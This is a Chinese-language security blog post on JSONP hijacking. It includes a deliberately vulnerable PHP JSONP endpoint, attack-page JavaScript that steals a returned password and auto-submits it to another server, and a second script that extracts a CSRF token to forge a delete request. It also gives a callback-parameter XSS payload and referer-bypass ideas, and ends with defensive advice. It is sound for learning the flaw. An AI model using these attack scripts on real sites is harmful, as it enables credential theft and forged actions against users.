第一次遇到了jsonp劫持漏洞，并且通过此漏洞绕过token进行成功的csrf攻击

JSONP

什么是jsonp？

Jsonp(JSON with Padding) 是 json 的一种"使用模式"，可以让网页从别的域名（网站）那获取资料，即跨域读取数据。

JSONP的语法和JSON很像，简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下：

callback({ "name": "kwan" , "msg": "获取成功" });

JSONP原理就是动态插入带有跨域url的<script>标签，然后调用回调函数，把我们需要的json数据作为参数传入，通过一些逻辑把数据显示在页面上。

常见的jsonp形式类似：

http://www.test.com/index.html?jsonpcallback=hehe

传过去的hehe就是函数名，服务端返回的是一个函数调用，可以理解为：evil就是一个函数，(["customername1","customername2"])就是函数参数，网站前端只需要再编写代码处理函数返回的值即可。

jsonp劫持漏洞

漏洞很简单，在本地复现一下。

【JSONP_callback.php】：jsonp接口，返回用户的账户密码(简单起见，就直接写死返回值了)

header('Content-type: application/json');

$callback = $_GET["callback"];

//json数据

$json_data = '{"customername1":"user1","password":"12345678"}';

//输出jsonp格式的数据

echo $callback . "(" . $json_data . ")";

?>

请求该接口并加上callback=hello，返回值如下

在返回值开头中可见hello，如果我们修改callback的值为其他值，此处的返回值也会相应改变。我们可以劫持callback参数，自己构造callback处理函数，受害者点击我们伪造的链接后，向真正的jsonp接口发起请求，请求得到数据的处理方式由我们自己的callback处理函数处理，由此可以达到劫持目的。

比如，我们编写如下攻击页面：

test

function hehehe(obj){

alert(obj["password"]);

var myForm = document.createElement("form");

myForm.action="http://localhost/JSONP_redirect.php";

myForm.method = "GET";

for ( var k in obj) {

var myInput = document.createElement("input");

myInput.setAttribute("name", k);

myInput.setAttribute("value", obj[k]);

myForm.appendChild(myInput);

}

document.body.appendChild(myForm);

myForm.submit();

document.body.removeChild(myForm);

}

用户访问此页面后，会自动去请求JSONP_callback.php，返回值会进入hehehe函数进行处理，在hehehe函数中，会弹出密码值、创建表单自动提交用户密码到攻击者服务器、最后重定向到百度。实际效果如下：

删除弹窗之后，攻击过程对受害者就是完全不可见的。

绕过token防护进行csrf攻击

JSONP劫持其实是属于CSRF攻击范畴的，毕竟要拿到敏感数据是需要用户登陆并点击的，所以JSONP劫持是CSRF攻击的一种手段。既然属于CSRF攻击范畴，那么JSONP劫持所作的自然也不止是读取敏感信息（其实在这点上，单独的csrf攻击还不好去读取敏感数据），利用JSONP还可以在某些情况下绕过csrf常见防护形式之一的token防护。

如开头所说，我上周成功利用了JSONP劫持来完成了一次csrf攻击，我以此例来说明如果通过JSONP绕过token防护进行csrf攻击。

首先，在目标站上的请求中我发现总是有参数jscallback和htmlcallback，所以我在一个返回敏感信息的url后面添加了这2个参数，发现均有返回，成功确认此处有jsonp劫持漏洞，然后，我开始去寻找更多的jsonp接口，出乎意料的是，我发现在整个网站上都存在jsonp劫持，而不是单纯在某个连接上。我猜测这一情况的原因是网站每个页面上的通用代码出了问题，或者是某个js文件出了问题。我查看了几个页面的源代码，发现可能是第一种原因，我在这些源码找到了多个jscallback和htmlcallback。有了jsonp之后，我像上面一样编写攻击页面来获取敏感信息。

然后在对关键操作进行csrf漏洞挖掘的时候，我发现在表单中有个隐藏的token值，灵光一闪！既然全站都有jsonp，我为什么不在这个操作页面通过jsonp获取到整个页面代码，读取其中的token值，再构造完整的表单，自动提交即可完成csrf攻击！完美的操作。

说干就干，确定这个页面的jsonp没有问题(这儿的图截错了，忘了改callback参数值)：

编写攻击页面的代码如下：

test

function test(obj){

// 获取对象中的属性值

var content = obj['html']

// 正则匹配出参数值

var token=content.match('token = "(.*?)"')[1];

// 添加表单节点

var parent=document.getElementById("test");

var child=document.createElement("form");

child.method="POST";

child.action="http://vuln.com/del.html";

child.id="test1"

parent.appendChild(child);

var parent_1=document.getElementById("test1");

var child_1=document.createElement("input");

child_1.type="hidden";child_1.name="token";child_1.value=token;

var child_2=document.createElement("input");

child_2.type="submit";

parent_1.appendChild(child_1);

parent_1.appendChild(child_2);

}

htmlcallback返回一个对象obj，以该对象作为参数传入test函数，操作对象中属性名为html的值，正则匹配出token，再加入表单，自动提交表单完成操作，用户点击该攻击页面即收到csrf攻击。

在一个功能点完成csrf攻击后，我基本可以基于此，完成全站的csrf攻击。

但是，在操作另一个功能点时，发现该功能点还进行referer验证，需要绕过referer。绕过referer也是csrf攻击中常见的场景了，常见绕过方法：

空referer

referer过滤不严谨

这几天我还看到了一个方法，没有试验过：使用requset merging bypass referer(jsonp)检测

可以看到，想要通过jsonp劫持来绕过token进行csrf还是挺麻烦的，条件太多：

有jsonp劫持

能在源码里找到token

没有referer防护

jsonp除了连打csrf之外，还可以连打xss，即把callback参数值写成xss payload：

?callback=<script>alert()</script>

防护建议

1、严格安全的实现 CSRF 方式调用 JSON 文件：限制 Referer 、部署一次性 Token 等。

2、严格安装 JSON 格式标准输出 Content-Type 及编码（ Content-Type : application/json; charset=utf-8 ）。

3、严格过滤 callback 函数名及 JSON 里数据的输出。

4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。

5、其他一些比较“猥琐”的方法：如在 Callback 输出之前加入其他字符(如：/**/、回车换行)这样不影响 JSON  文件加载，又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ，听过在输出 JSON 之前加入  while(1) ;这样的代码来防止 JS 远程调用